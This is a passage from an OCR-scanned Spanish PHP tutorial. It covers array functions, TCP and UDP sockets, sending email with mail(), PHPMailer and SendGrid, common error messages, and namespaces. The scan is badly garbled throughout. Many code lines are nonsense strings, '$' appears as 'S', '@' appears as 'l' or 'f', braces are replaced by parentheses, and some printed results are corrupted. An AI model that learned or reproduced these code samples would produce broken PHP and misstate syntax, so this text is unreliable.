pero no las claves. Pasar las claves por referencia a la devolución de llamada es válido pero no 
tiene ningún efecto. 


Dividir matriz en trozos 


array_chunk () divide una matriz en trozos 


Digamos que estamos siguiendo una matriz unidimensional, 
Simpue seray = eaxrey (Vel, ely el, “al, "e%)a 

Ahora usando array_chunk () en la matriz de PHP anterior, 
Soutput_array = array_chunk (S$input_array, 2); 


El código anterior creará fragmentos de 2 elementos de matriz y creará una matriz 
multidimensional como sigue. 


Array 
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Si todos los elementos de la matriz no están divididos equitativamente por el tamaño del 
fragmento, el último elemento de la matriz de salida serán los elementos restantes. 


Si pasamos el segundo argumento como menos de 1, se lanzará E_WARNING y la matriz de 
salida será NULL . 


Parámetro Detalles 


$ array (array) Matriz de entrada, la matriz para trabajar en 

$ size (int) Tamaño de cada trozo (valor entero) 

$ preserve_keys Si desea que la matriz de salida conserve las claves, 
(boolean) (opcional) establézcala en VERDADERO de lo contrario FALSO . 


implementando una matriz en una cadena 
implode () Combina todos los valores de la matriz pero pierde toda la información clave: 


Sarr = [War WN UU => UE, Mel => WEecuia 


cho timpllo do Ia AENABENES 


Las claves de array_keys() se pueden hacer usando array_keys () Call: 


Sarr = [Val => UBMAD Wal => VEU. 020 => Uacu], 


sehio imsloda(" Y, cxray keys (Bazi))o // ala e 


Implodificar claves con valores es más complejo, pero se puede hacer usando un estilo funcional: 


Sake e [as =5> MAA hb! => "BB", tar => MES uT y 
echo implode(" ", array_map(function(S$key, $val) ( 
return "Skey:$val"; // function that glues key to the value 


y array keys (Sare), Rarr)); 


1 Oates EsiÑa Tosials ¡9 ale 


array_reduce 
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array_reduce reduce la matriz en un solo valor. Básicamente, el array_reduce pasará por cada 
elemento con el resultado de la última iteración y producirá un nuevo valor para la siguiente 
iteración. 


USO: array_reduce (Sarray, function($carry, S$item)(...), $defaul_value_of_first_carry) 


* $ carry es el resultado de la última ronda de iteración. 
* $ ¡item es el valor de la posición actual en la matriz. 


Suma de la matriz 


Sisstúle == eusrechy issomies (Pl, 2, 3) Uy Dl, Ebo (Seria, Sale) 
etuida Siecucizy e Salicemp 


DH; 


resultado: 15 


El número más grande en la matriz 


Seestuille = else mecues (110, 23, 211, 34, 291, FUccion (seciiy, Silesia) 
seua Slrcca > Sesmzy Y Siltea $ Sesuzcizyo 


PH; 


resultado: 211 


Es todo el artículo más de 100 


Sxesuile = suseehy secos (LLO, 2390, 210, S4L, 2], Funcion ((Seciaay, Saleen) 
return $carry 8 S$item > 100; 
), true); //default value must set true 


resultado: true 


Es cualquier artículo menos de 100 


sresulit == tarrayireduce (0230 ai, a 2 nia tuner lon (+cabey) ette) 
serusa Sesamizy || Siren < 100) 
), false);//default value must set false 


resultado: true 


Como implosionar ($ array, $ pieza) 


Sresult = array_reduce(["hello", "world", "PHP", "language"], function($carry, $item)( 
retcuisa lSecsmiay Y Sicém 3 Sesuay y. "SY. Sica 7 


DH; 


resultado: "hello-world-PHP language" 


Si se hace un método de implosión, el código fuente será: 
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function implode_method ($array, $piece)( 


return array_reduce($array, function($carry, $item) use ($piece) ( 
reruia lSeazisy Y Site 9 (Secsuiy . Soalecs y. Siluea) A 
»; 
) 
Sresule = ualodes meras (Macllo", "raozlal, "Ni? "lacus 1, e) 


resultado: "hello-worl1d-PHP language" 
Arreglos de "destrucción" usando list () 


Use list () para asignar rápidamente una lista de valores variables a una matriz. Ver también 
compacta () 


// Assigns to $a, $b and $c the values of their respective array elements in Sarray 
with keys numbered from zero 
lista, Hoy He) => Sera, 


Con PHP 7.1 (actualmente en versión beta) podrá usar la sintaxis de la lista corta : 


// Assigns to $a, $b and $c the values of their respective array elements in $farray with keys 
numbered from zero 
Sa, o, Sel = Sarszano 


IAS Stig as coa oran disc tae va les tor tehetarray rellements ins array imitar thae keys at oN 
and "c", respectively 
Mal => Sa, Wo! => Mo, el => Sell = Dencsanp 


Presionar un valor en una matriz 


Hay dos formas de insertar un elemento en una matriz: array_push Y $array[] = 


El array_push se usa así: 


Sarray = (1, 2/35 

$newArraySize = array_push (Sarray, 5, 6); // The method returns the new size of the array 
print_r(Sarray); // Array is passed by reference, therefore the original array is modified to 
contain the new elements 


Este código se imprimirá: 


Array 

( 
ro] => 1 
[1] => 2 
21 => 3 
[SI => 5 
[4] => 6 
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Sarray[] = Se usa así: 


Secure = [1 2,317 
Sarray[] = 5; 
Sarray[] = 6; 


pelar (array) 


Este código se imprimirá: 


Array 

( 
[0] => 1 
[1] => 2 
21. => 3 
[S1 => 5 
[4] => 6 


Lea Ejecutando sobre una matriz en línea: https://riptutorial.com/es/php/topic/6826/ejecutando- 
sobre-una-matriz 
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Capítulo 36: Enchufes 


Examples 


Socket cliente TCP 


Creando un socket que usa el TCP (Protocolo 
de Control de Transmisión) 


Ssocket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 


Asegúrese de que el zócalo se haya creado correctamente. La función onsocketFailure proviene 
del ejemplo Manejo de errores de socket en este tema. 


1f(!lis_resource($socket)) onSocketFailure ("Failed to create socket"); 


Conecte el zócalo a una dirección 
especificada 


La segunda línea falla con gracia si falla la conexión. 


socket_connect ($socket, "chat.stackoverflow.com", 6667) 
or onSocketFailure ("Failed to connect to chat.stackoverflow.com:6667", $socket); 


Enviando datos al servidor 


La función socket_write envía bytes a través de un socket. En PHP, una matriz de bytes está 
representada por una cadena, que normalmente es insensible a la codificación. 


socket_write ($socket, "NICK AlicelrinUSER alice 0 * :Alicelrin"); 


Recibiendo datos del servidor 


El siguiente fragmento de socket_reaa recibe algunos datos del servidor mediante la función 


socket_read. 


Al pasar pur_normaL_rREAD COMO el tercer parámetro se lee hasta un byte 1x/1n, y este byte se 
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incluye en el valor de retorno. 


Al pasar pur_BINARY_ READ , por el contrario, lee la cantidad requerida de datos de la secuencia. 


Si socket_set_nonblock fue llamado antes, y paHe_eInaRY_ READ Se utiliZa, socket_read VOIVerá false 
inmediatamente. De lo contrario, el método se bloquea hasta que se reciben suficientes datos 
(para alcanzar la longitud en el segundo parámetro, o para alcanzar un final de línea), o se cierra 
el zócalo. 


Este ejemplo lee datos de un servidor supuestamente IRC. 


while(true) ( 
// read a line from the socket 
Sline = socket_read($socket, 1024, PHP_NORMAL_READ); 
is (suosisz(Slinms, =1) === MY) 4 
// read/skip one byte from the socket 


// we assume that the next byte in the stream must be a An. 


// this is actually bad in practice; the script is vulnerable to unexpected values 
socket_read($socket, 1, PHP_BINARY_READ); 


) 


$message = parseline ($line); 
1f ($message->type === "QUIT") break; 


Cerrando el zócalo 


Cerrar el socket libera el socket y sus recursos asociados. 


socket_close ($socket); 


Zócalo del servidor TCP 


Creación de zócalo 


Crea un socket que use el TCP. Es lo mismo que crear un socket de cliente. 


$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 


Enlace de zócalo 


Enlace las conexiones de una red dada (parámetro 2) para un puerto específico (parámetro 3) al 
socket. 


El segundo parámetro suele ser "o.o.o.o" , que acepta la conexión de todas las redes. También 
puede 
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Una causa común de errores de socket_bina es que la dirección especificada ya está vinculada a 
otro proceso . Otros procesos generalmente se eliminan (generalmente de forma manual para 
evitar la muerte accidental de procesos críticos) para que los sockets se liberen. 


soclkare lima (Ssocker, "0,0.0,0%. 1657) oz omsociaaral luce (Myeulilee! eo lsiimel eo (0.,0,0.0:08657)7 


Establecer un zócalo para escuchar. 


Haz que el socket escuche las conexiones entrantes usando socket_1isten . El segundo 
parámetro es el número máximo de conexiones para permitir la puesta en cola antes de que sean 
aceptadas. 


socket_listen($socket, 5); 


Manejo de conexion 


Un servidor TCP es en realidad un servidor que maneja conexiones secundarias. socket_accept 
crea una nueva conexión secundaria. 


Sconn = socket_accept ($socket); 


La transferencia de datos para una conexión desde socket_accept es la misma que para un socket 
de cliente TCP . 


Cuando se debe cerrar esta conexión, llame a socket_close (Sconn) ; directamente. Esto no 
afectará el socket del servidor TCP original. 


Cerrando el servidor 


Por otro lado, socket_close ($socket); debe llamarse cuando el servidor ya no se utiliza. Esto 
también liberará la dirección TCP, permitiendo que otros procesos se unan a la dirección. 


Manejo de errores de socket 


socket_last_error Se puede usar para obtener el 1D de error del último error de la extensión de 
sockets. 


socket_strerror Se puede usar para convertir el ID en cadenas legibles para el usuario. 


function onSocketFailure (string $message, $socket = null) ( 
if(is_resource($socket)) ( 
$message .= ": " . socket_strerror(socket_last_error ($socket)); 


) 


die ($message); 
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Servidor UDP socket 


Un servidor UDP (protocolo de datagramas de usuario), a diferencia de TCP, no está basado en 
flujo. Se basa en paquetes, es decir, un cliente envía datos en unidades denominadas "paquetes" 
al servidor, y el cliente identifica a los clientes por su dirección. No hay una función incorporada 
que relacione diferentes paquetes enviados desde el mismo cliente (a diferencia de TCP, donde 
los datos del mismo cliente son manejados por un recurso específico creado por socket_accept ). 


Puede pensarse como una nueva conexión TCP es aceptada y cerrada cada vez que llega un 


paquete UDP. 


Creando un socket de servidor UDP 


$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); 


Atar un socket a una dirección 


Los parámetros son los mismos que para un servidor TCP. 


socia sm (Ssockere, "0.0.0.0. 201) a omsociadrad lr (Meullee! mo isiimel uo 0.,0,0.08 9101019 - 
Ssocket); 


Enviando un paquete 


Esta línea envía sdaata en un paquete UDP a sadaress : $port . 


socket_sendto($socket, $data, strlen($data), 0, Saddress, $port); 


Recibiendo un paquete 


El siguiente fragmento de código intenta administrar paquetes UDP de una manera indexada por 


el cliente. 
selliemes = (M7 
while (true) '( 
socket_recvfrom($socket, $buffer, 32768, 0, Sip, $port) === true 
or onSocketFailure ("Failed to receive packet", $socket); 
Saddress = "Sip: $port"; 
if (!lisset ($clients[$address])) $clients[Saddress] = new Client (); 


Sclients[$address]->handlePacket ($buffer); 
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Cerrando el servidor 


socket_close Se puede utilizar en el recurso de socket del servidor UDP. Esto liberará la dirección 
UDP, permitiendo que otros procesos se unan a esta dirección. 


Lea Enchufes en línea: https://riptutorial.com/es/php/topic/6138/enchufes 
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Capítulo 37: Enviando email 


Parámetros 
string $to La dirección de correo electrónico del destinatario 
string $subject La linea de asunto 
string $message El cuerpo del email. 
string 


Opcional: encabezados para agregar al correo electrónico. 


Sadditional_headers 


string Opcional: argumentos para pasar a la aplicación de envío de 
cadnecomal pa smsteto correo configurada en la línea de comandos 
Observaciones 


Correo electrónico que estoy enviando a través de mi script nunca llega. ¿Qué tengo que 
hacer? 


+ Asegúrese de tener activado el informe de errores para ver cualquier error. 
+ Sitiene acceso a los archivos de registro de errores de PHP, verifique esos. 


e ¿El comando nai1 () configurado correctamente en su servidor ? (Si estás en un alojamiento 
compartido, no puedes cambiar nada aquí). 


+ Silos correos electrónicos están desapareciendo, inicie una cuenta de correo electrónico 
con un servicio de correo electrónico gratuito que tenga una carpeta de correo no deseado 
(o use una cuenta de correo electrónico que no filtre el correo basura). De esta manera, 
puede ver si el correo electrónico no se envía, o tal vez se envía, pero se filtra como correo 
no deseado. 


+ ¿Revisó la dirección "de:" que utilizó para los posibles correos "devueltos al remitente"? 
También puede configurar una dirección de rebote separada para los correos de error. 


El correo electrónico que estoy enviando se está filtrando como spam. ¿Qué tengo que 
hacer? 


+ ¿La dirección del remitente ("De") pertenece a un dominio que se ejecuta en el servidor 
desde el que envía el correo electrónico? Si no, cambia eso. 


Nunca use direcciones de remitentes Como xxxtgmail.com . Utilice rep1y-to si necesita 
respuestas para llegar a una dirección diferente. 
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+ ¿Está su servidor en una lista negra? Esta es una posibilidad cuando estás en un 
alojamiento compartido cuando los vecinos se comportan mal. La mayoría de los 
proveedores de listas negras, como Spamhaus , tienen herramientas que le permiten buscar 
la IP de su servidor. También hay herramientas de terceros como MX Toolbox. 


+ Algunas instalaciones de PHP requieren establecer un quinto parámetro en mail () para 
agregar una dirección de remitente. Ver si este podría ser el caso para usted. 


* Sitodo lo demás falla, considere usar el correo electrónico como un servicio como MVailgun , 
SparkPost , Amazon SES , Mailjet , SendinBlue o SendGrid, para nombrar algunos, en su 
lugar. Todos ellos tienen API que se pueden llamar usando PHP. 


Examples 


Envío de correo electrónico: conceptos básicos, más detalles y un ejemplo 
completo 


Un correo electrónico típico tiene tres componentes principales: 


1. Un destinatario (representado como una dirección de correo electrónico) 
2. Un sujeto 
3. Un cuerpo de mensaje 


Enviar correo en PHP puede ser tan simple como llamar a la función incorporada mai1 () . mail () 
toma hasta cinco parámetros, pero los tres primeros son todo lo que se requiere para enviar un 
correo electrónico (aunque los cuatro parámetros se usan comúnmente como se demostrará a 
continuación). Los tres primeros parámetros son: 


1. La dirección de correo electrónico del destinatario (cadena) 
2. El asunto del correo electrónico (cadena) 
3. El cuerpo del correo electrónico (cadena) (por ejemplo, el contenido del correo electrónico) 


Un ejemplo mínimo se asemejaría al siguiente código: 


mail ('recipientlexample.com', 'Email Subject', 'This is th mail message body'); 


El ejemplo simple anterior funciona bien en circunstancias limitadas, como codificar una alerta de 
correo electrónico para un sistema interno. Sin embargo, es común colocar los datos pasados 
como parámetros para mai1() en variables para hacer que el código sea más limpio y fácil de 
administrar (por ejemplo, generar dinámicamente un correo electrónico desde un envío de 
formulario). 


Además, mai1 () acepta un cuarto parámetro que le permite recibir encabezados de correo 
adicionales con su correo electrónico. Estos encabezados pueden permitirle establecer: 


* la rrom nombre y dirección de correo electrónico que el usuario verá 
* el rep1y-To dirección de correo electrónico se enviará la respuesta del usuario a 
* encabezados adicionales no estándares como x-mailer que pueden indicar al destinatario 
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que este correo electrónico se envió a través de PHP 


$to = 'recipientlexample.com'; // Could also be $to = 

SELOs Mire cipieni e 

Ssubject = 'Email Subject'; // Could also be $subject = $_POST['subject']; 
$message = 'This is th mail message body'; // Could also be $message = $_POST['message']; 


Sheaders = implode("ArYn", [ 
'From: John Conde <webmasterltexample.com>', 


'Reply-To: webmasterltexample.com', 
'X-Mailer: PHP/' . PHP_VERSION 
D; 


El quinto parámetro opcional se puede usar para pasar banderas adicionales como opciones de 
línea de comando al programa configurado para ser usado al enviar correo, según lo definido por 
la configuración de sendmai1_path . Por ejemplo, esto se puede usar para configurar la dirección 
del remitente del sobre cuando se usa sendmail / postfix con la opción -£ sendmail. 


Se '=fno-replylexample.com'; 


Aunque el uso de nai: () puede ser bastante confiable, de ninguna manera se garantiza que se 

enviará un correo ma:1 () cuando se llame a ma:1 () . Para ver si hay un error potencial al enviar su 
correo electrónico, debe capturar el valor de retorno de mai 1 () . True será devuelto si el correo fue 
aceptado exitosamente para su entrega. De lo contrario, recibirá rarse . 


Sresult = mail($to, $subject, $message, S$headers, S$fifth); 


NOTA : aunque ma:1 () puede devolver rruz , no significa que el correo electrónico fue enviado o 
que el destinatario lo recibirá. Solo indica que el correo se entregó con éxito al sistema de correo 
de su sistema con éxito. 


Si desea enviar un correo electrónico HTML, no hay mucho trabajo que deba hacer. Necesitas: 


1. Añadir el encabezado de la mime-version 
2. Añadir el encabezado de content-Type 
3. Asegúrese de que su contenido de correo electrónico es HTML 


$to = 'recipientlexample.com'; 
Ssubject = 'Email Subject'; 
$message = '<html><body>This is th mall message body</body></html>'; 


Sheaders = implode("ArYn", [ 
'From: John Conde <webmasterltexample.com>', 


'"Reply-To: webmasterltexample.com', 

"MEME Vers tone ON 

"Content-Type: text/html; charset=180-8859-1', 
'X-Mailer: PHP/' . PHP_VERSION 


D; 


Aquí hay un ejemplo completo de cómo usar la función mai1 () PHP mai1 () 
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<?php 

// Debugging tools. Only turn these on in your development environment. 
Cro rl porqe 

ima see (Vellsioley exzorzs!, Om), 


set_error_handler ("var_dump"); 


// Special mail settings that can make mail less likely to be considered spam 
// and offers logging in case of technical difficulties. 


ani see (Masa, Los", "/aas/meitl. loo) y 
ini_set("mail.add_x header", TRUE); 


// The components of our email 


$to = 'recipientlexample.com'; 


$subject Email Subject'; 


$message = 'This is th mail message body'; 


Sheaders = implode("ArAn", [ 
'From: webmasterflexample.com', 


'Reply-To: webmasterftexample.com', 
'X-Mailer: PHP/' . PHP_VERSION 


D; 


// Send the email 


$result = mail ($to, $subject, $message, S$headers); 
// Check the results and react accordingly 
is (Siesuule) 
// Success! Redirect to a thank you page. Use the 


// POST/REDIRECT/GET pattern to prevent form resubmissions 
// when a user refreshes the page. 


header ('Location: http://example.com/path/to/thank-you.php', true, 303); 


exit; 


) 


else ( 


// Your mail was not sent. Check your logs to see 1f 
// the reason was reported there for you. 


Ver también 


Documentacion oficial 


* mail () 


* Configuración de mai1() PHP mai1 () 
Preguntas relacionadas sobre el desbordamiento de pila 
* Formulario de correo PHP no completa el envío de correo electrónico 


* ¿Cómo se asegura de que el correo electrónico que envíe programáticamente no se marque 


https://riptutorial.com/es/nome 176 


automáticamente como spam? 
+ Cómo usar SMTP para enviar correos electrónicos 
* Configuración del sobre de la dirección 


Mailers alternativos 


. PHPMailer 
. SwifiMailer 
. PERA :: Correo 


Servidores de correo electrónico 
* Mercury Mail (Windows) 
Temas relacionados 


+ Publicar / Redirigir / Obtener 


Enviando correo electrónico HTML usando correo () 


<?php 

$to = 'recipentlexample.com'; 

Ssubject = 'Sending an HTML email using mail () in PHP'; 

$message = '<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is 


italic.</i></p></body></html>'; 


Sheaders = implode("ArAn", [ 
"From: John Conde <webmasterltexample.com>", 


"Reply-To: webmasterlexample.com", 

"X-Mailer: PHP/" . PHP_VERSION, 

"MIME Ve rs ilon 00 

"Content-Type: text/html; charset=UTF-8" 
D; 


mail ($to, $subject, $message, Sfheaders); 


Esto no es muy diferente a enviar un correo electrónico de texto sin formato . Las diferencias 
clave en cuanto al cuerpo del contenido están estructuradas como un documento HTML y hay dos 
encabezados adicionales que deben incluirse para que el cliente de correo electrónico sepa que 
el correo electrónico es trender como HTML. Son: 


+ Versión MIME: 1.0 
* Tipo de contenido: texto / html; conjunto de caracteres = UTF-8 


Enviar correo electrónico de texto sin formato utilizando PHPMailer 
Email basico de texto 


<?php 


$mail = new PHPMailer (); 
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$mail->From "fromfiexample.com"; 
9) 


$Smail->FromName = "Full Name"; 

$mail->addReplyTo("replylexample.com", "Reply Address"); 

$mail->Subject = "Subject Text"; 

$mail->Body = "This is a sample basic text email using PHPMailer."; 
if ($mail->send()) ( 


// Success! Redirect to a thank you page. Use the 


// POST/REDIRECT/GET pattern to prevent form resubmissions 


// when a user refreshes the pag 


header ('Location: http://example.com/path/to/thank-you.php', true, 303); 
exit; 
) 


else ( 


echo, "Mailer Error: " . $mail->Errorinto; 


Adición de destinatarios adicionales, destinatarios CC, destinatarios BCC 


$mail = new PHPMailer(); 


$mail->From "fromfexample.com"; 
$mail->FromName = "Full Name"; 
$mail->addReplyTo("replylexample.com", "Reply Address"); 


$mail->addAddress ("recepientllexample.com", "Recepient Name"); 


$mail->addAddress ("recepient2ftexample.com"); 
$mail->addCC ("cclexample.com"); 
$mail->addBCC ("bcclexample.com"); 


$mail->Subject = "Subject Text"; 
$mail->Body = "This is a sample basic text email using PHPMailer."; 
if ($mail->send()) ( 


// Success! Redirect to a thank you page. Use the 


// POST/REDIRECT/GET pattern to prevent form resubmissions 
// when a user refreshes the pag 


header ('Location: http://example.com/path/to/thank-you.php', true, 303); 
exit; 
) 


else ( 


echo "Error: " . $mail=>Errorinto; 


Enviar correo electrónico con un archivo adjunto utilizando correo () 


<?php 

Sto = 'recipientlexample.com'; 

$subject = 'Email Subject'; 

$message = "ios dls tEla mail message body'; 
Sattachmene = "/parh/to/your/Ellespar 1; 


Scontent = file _get_contents ($attachment); 


/* Attachment content transferred in Base64 encoding 
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MUST be split into chunks 76 characters in length as 
specified by REC 2045 section 6.8. By default, the 
function chunk_split() uses a chunk length of 76 with 
a trailing CRLF (1rAn). The 76 character requirement 
does not include the carriage return and line feed */ 
Scontent = chunk_split (base64_encode ($content)); 


/* Boundaries delimit multipart entities. As stated 

in REC 2046 section 5.1, the boundary MUST NOT occur 

in any encapsulated part. Therefore, it should be 
unique. As stated in the following section 5.1.1, a 
boundary is defined as a line consisting of two hyphens 
("=="), a parameter value, optional linear whitespace, 
and a terminating CRLF. */ 

Sprefix = "part_"; // This is an optional prefix 

/* Generate a unique boundary parameter value with our 
prefix using the unigid() function. The second parameter 


makes the parameter value more unique. */ 
Sboundar y = uniqid ($prefix, true); 

// headers 

Sheaders = implode("ArAn", [ 


'From: webmasterflexample.com', 


'"Reply-To: webmastertexample.com', 

'X-Mailer: PHP/' . PHP_VERSION, 

'MIME-Version: 1.0', 

// Lboundary parameter required, must be enclosed by quotes 


UNA] 
, 


"Content-Type: multipart/mixed; boundary="' . S$boundary 


"Content-Transfer-Encoding: 7bit", 


"This is a MIME encoded message." // message for restricted transports 


D; 


// message and attachment 
$message = implode("ArAn", [ 
"==" . S$boundary, // header boundary delimiter line 


"Content-Type: text/plain; charset="iso-8859-1"', 


"Content-Transfer-Encoding: 8bit", 
Smessage, 
1, Sopas, // Come loemnedlery cleliiabeee dias 


"Content-Type: application/octet-stream; name="RenamedFile.pdf"', 


"Content-Transfer-Encoding: base64", 
"Content-Disposition: attachment", 


Scontent, 
UI==Y . Sgomaciary . "==" // closima lomacdary cslimieccs lias 


D; 


Sresult = mail ($to, $subject, $message, Sheaders); // send the email 


16 (Seesule) 
// Success! Redirect to a thank you page. Use the 
// POST/REDIRECT/GET pattern to prevent form resubmissions 


// when a user refreshes the pag 


header ('Location: http://example.com/path/to/thank-you.php', true, 303); 


exit; 

) 

else ( 
// Your mail was not sent. Check your logs to see 1f 
// the reason was reported there for you. 
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Codificaciones de transferencia de contenido 


Las codificaciones disponibles son 7bit, 8bit, binary , quoted-printable , base64 , ¡etf-token y x- 
token . De estas codificaciones, cuando un encabezado tiene un Tipo de contenido de varias 
partes , la Codificación de transferencia de contenido no debe tener ningún otro valor que no sea 
7bit, 8bito binario como se indica en RFC 2045, sección 6.4. 


Nuestro ejemplo elige la codificación de 7 bits, que representa los caracteres US-ASCII, para el 
encabezado de varias partes porque, como se señala en la sección 6 de RFC 2045, algunos 
protocolos solo admiten esta codificación. Los datos dentro de los límites se pueden codificar 
parte por parte (RFC 2046, sección 5.1). Este ejemplo hace exactamente esto. La primera parte, 
que contiene el mensaje de texto / sin formato, se define como 8 bits, ya que puede ser necesario 
admitir caracteres adicionales. En este caso, se está utilizando el conjunto de caracteres Latin? 
(iso-8859-1). La segunda parte es el archivo adjunto y, por lo tanto, se define como una aplicación 
codificada en base64 / flujo de octetos. Como base64 transforma datos arbitrarios en el rango de 
7 bits, puede enviarse en transportes restringidos (RFC 2045, sección 6.2). 


Envío de correo electrónico HTML utilizando PHPMailer 


<?php 

$mail = new PHPMailer (); 

$mail->From = "fromfexample.com"; 

$mail->FromName = "Full Name"; 
$mail->addReplyTo("replylexample.com", "Reply Address"); 
$mail->addAddress ("recepientl1llexample.com", "Recepient Name"); 


$mail->addAddress ("recepient2ftexample.com"); 


$mail->addCC ("cclexample.com"); 
$mail->addBCC ("bcclexample.com"); 


$mail->Subject = "Subject Text"; 

$mail->isHTML (true); 

$mail->Body = "<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is 
ralla. </1></493/M008></ mel" 

$mail->AltBody = "This paragraph is not bold.ininThis text is not italic."; 
if($mail->send()) ( 


// Success! Redirect to a thank you page. Use the 
// POST/REDIRECT/GET pattern to prevent form resubmissions 


// when a user refreshes the page. 


header ('Location: http://example.com/path/to/thank-you.php', true, 303); 
exit; 
) 


else ( 


echo Error omo > Aro nio 


) 


Envío de correo electrónico con un archivo adjunto utilizando PHPMailer 


<?php 
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$mail = new PHPMailer (); 


$mail->From 


$mail->FromName = 


"fromflexample.com"; 
"Full Name"; 


$mail->addReplyTo("replylexample.com", "Reply 


$mail->Subject 


$mai1->Body 


"This is a sample basic text email with 


= "Subject Text"; 


// Add Static Attachment 
ada/ro/yovwe/plle asko" $ 
$mail->AddAttachment ($attachment , 'RenamedFile.pdf'); 


Sattachment = 


Address"); 


// Add Second Attachment, run-time created. i 


ScsvHeader = "headerl,header2,header3"; 
SesvData = "rowlcoll,rowlcol2,rowlcol3iXnrow2col1l,row2col2',, row2co13"; 


$mail->AddStringAttachment ($csvHeader ."An" 
'"application/vnd.ms-excel'); 


if (S$mail->send()) 


// Success! 


( 


Redirect to a thank you page. 


// POST/R 


EDIR. 


ECT/G 


// when a user refreshes the pag 


header ('Location: 


exit; 
) 


else ( 


calmo Wmiziaoie e 


" . Smail->ErrorInfo; 


CSV to be open with Excel 


ScsvData, 'your-csv-file.csv', 'base64', 


Use the 


ET pattern to prevent form resubmissions 


http://example.com/path/to/thank-you.php', true, 303); 


Enviar correo electrónico de texto sin formato utilizando Sendgrid 


Email basico de texto 


<?php 


Ssendgrid = new SendGrid ("YOUR_SENDGRID_API_KEY"); 
Semail = new SendGridYEmail (); 


Semail->addTo("recipientlexample.com") 


->setFrom("senderflexample.com") 
-=>setSubject ("Subject Text") 
=>setText ("This is a sample basic text email using "); 


$sendgrid->send ($email); 


Adición de destinatarios adicionales, destinatarios CC, destinatarios BCC 


<?php 


Ssendgrid = new SendGrid ("YOUR_SENDGRID_API_K 
Semail = new SendGridWYEmail (); 


Semail->addTo ("recipientlexample.com") 


->setFrom("senderflexample.com") 
=>setSubject ("Subject Text") 


->setHtml ("<html><body><p><b>This paragraph is bold.</b></p><p><i>This text 
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tecla. </1></0</ 0 mel) e 


Spersonalization = new Personalization(); 
Semail = new Email ("Recepient Name", "recepientllexample.com"); 


Spersonalization->addTo ($email); 
Semail = new Email ("RecepientCC Name", "recepient2ftexample.com"); 


Spersonalization->addCc (Semai1l); 


Semail = new Email ("RecepientBCC Name", "recepient3lexample.com"); 


Spersonalization->addBcc ($email); 


Semail->addPersonalization($personalization); 


$sendgrid->send ($email); 


Enviar correo electrónico con un archivo adjunto utilizando Sendgrid 


<?php 


Ssendgrid = new SendGrid ("YOUR_SENDGRID_API_KEY"); 
Semail = new SendGridYEmail (); 


Semail->addTo ("recipientlexample.com") 


=>setFrom("sendertexample.com") 
-=>setSubject ("Subject Text") 
=>setText ("This is a sample basic text email using "); 


Sattachment = '/path/to/your/file.paf'; 

Scontent = file _get_contents($attachment); 
Scontent = chunk_split (base64_encode ($content)); 
Sattachment = new Attachment (); 


Sattachment->setContent ($content); 
Sattachment->setType ("application/pdf"); 
Sattachment->setFilename ("RenamedFile.pdf"); 
Sattachment->setDisposition("attachment"); 
Semail->addAttachment ($attachment); 


Ssendgrid->send ($email); 


Lea Enviando email en línea: https://riptutorial.com/es/php/topic/458/enviando-email 
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Capítulo 38: Errores comunes 


Examples 
$ Inesperado fin 
Parse error: syntax error, unexpected end of file in C:1xamppYhtdocs1stacklindex.php on line 4 


Si recibe un error como este (o, a veces, el unexpected sena, según la versión de PHP), deberá 
asegurarse de que haya hecho coincidir todas las comas invertidas, todos los paréntesis, todas 
las llaves, todos los corchetes, etc. 


El siguiente código produjo el error anterior: 


<?php 
ale (ius) Y 

echo "asdf"; 
> 


Fíjate en la llave que falta. También tenga en cuenta que el número de línea que se muestra para 
este error es irrelevante, siempre muestra la última línea de su documento. 


Llame a fetch_assoc en boolean 
Si recibe un error como este: 


Fatal error: Call to a member function fetch_assoc() on boolean in 
C:AxamppYhtdocs1istacklindex.php on line 7 


Otras variaciones incluyen algo a lo largo de las líneas de: 


mysql_fetch_assoc() expects parameter 1 to be resource, boolean given... 


Estos errores significan que hay algo mal con su consulta (esto es un error de PHP / MySQL), o 
sus referencias. El error anterior fue producido por el siguiente código: 
Sayseil = ae uysela (MlocsilaoseY, Mago, Wu) 


$query = "SELCT * FROM db"; // notice the errors here 
Sresult = $mysqli->query ($query) ; 


Srow = $result->fetch_assoc(); 


Para "arreglar" este error, se recomienda hacer excepciones de lanzamiento de mysql en su 
lugar: 


Wtadd this tat the start of the senipe 
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mysqli_report (MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); 


Esto lanzará una excepción con este mensaje mucho más útil en su lugar: 


You have an error in your SOL syntax; check the manual that corresponds to your MariaDB server 


version for the right syntax to use near 'SELCT * FROM db' at line 1 


Otro ejemplo que produciría un error similar, es donde simplemente le dio la información 
incorrecta a la función mysq1_fetch_assoc O Similar: 


$john = true; 
mysqli_fetch_assoc ($john, $mysqli); // this makes no sense?? 


Lea Errores comunes en línea: https://riptutorial.com/es/php/topic/3830/errores-comunes 
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Capítulo 39: Espacios de nombres 


Observaciones 


De la documentación de PHP : 


¿Qué son los espacios de nombres? En la definición más amplia, los espacios de 
nombres son una forma de encapsular elementos. Esto puede verse como un 
concepto abstracto en muchos lugares. Por ejemplo, en cualquier sistema operativo, 
los directorios sirven para agrupar archivos relacionados y actúan como un espacio de 
nombres para los archivos que contienen. Como ejemplo concreto, el archivo foo.txt 
puede existir tanto en el directorio / home / greg como en / home / other, pero dos 
copias de foo.txt no pueden coexistir en el mismo directorio. Además, para acceder al 
archivo foo.txt fuera del directorio / home / greg, debemos añadir el nombre del 
directorio al nombre del archivo usando el separador de directorios para obtener 
/Ihome/greg/foo.txt. Este mismo principio se extiende a los espacios de nombres en el 
mundo de la programación. 


Tenga en cuenta que los espacios de nombres de nivel superior pu» y pnp están reservados para 
el propio lenguaje PHP. No deben utilizarse en ningún código personalizado. 


Examples 


Declarando espacios de nombres 


Una declaración de espacio de nombres puede verse como sigue: 


* namespace MyProject; - Declarar el espacio de nombres MyProject 
* namespace MyProjectlSecurityWCryptography; - Declarar un espacio de nombres anidado 
* namespace MyProject ( ... ) declara un espacio de nombres entre paréntesis. 


Se recomienda declarar solo un único espacio de nombres por archivo, aunque puede declarar 
tantos como desee en un solo archivo: 


namespace First ( 
class A 1 ... ); // Define class A in the namespace First. 


) 


namespace Second ( 


class B 1 ... ); // Define class B in the namespace Second. 
) 
namespace ( 

class O Laso y Y Dertas class | da as o. memasoaca. 


) 


Cada vez que declare un espacio de nombres, las clases que defina después pertenecerán a ese 
espacio de nombres: 
